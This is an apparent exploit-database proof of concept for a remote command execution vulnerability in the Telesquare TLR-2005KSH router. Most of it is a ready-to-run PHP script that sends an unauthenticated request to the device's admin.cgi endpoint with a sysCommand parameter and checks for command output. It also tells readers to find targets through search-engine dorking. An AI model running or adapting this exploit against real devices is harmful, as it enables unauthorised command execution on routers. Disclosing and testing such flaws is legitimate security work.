📄 Telesquare TLR-2005KSH Remote Command Execution

=============================================================================================================================================
    | # Title     : Telesquare TLR-2005KSH - Remote Command Execution vulnerability                                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits)                                                            |
    | # Vendor    : http://telesquare.co.kr/                                                                                                    |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: Telesquare TLR-2005KSH Automated Control Vulnerability
    	
    [+] Payload : 
    
    [+] Set Target : line 5 + 7 .
    
    [+] Usage : php poc.php 
    
    [+] PayLoad :
    
    <?php
    
    $target_url = "http://<target>/cgi-bin/admin.cgi?Command=sysCommand&Cmd=ifconfig"; 
    $headers = [
        "Host: <hostname>", 
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    if (strpos($response, '<CmdResult>') !== false && strpos($response, '</xml>') !== false && strpos($response, 'Ethernet') !== false && strpos($response, 'inet') !== false) {
        echo "The vulnerability was successfully exploited.\n";
        
    } else {
        echo "No exploitation of the vulnerability was detected.\n";
    }
    
    ?>
    
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================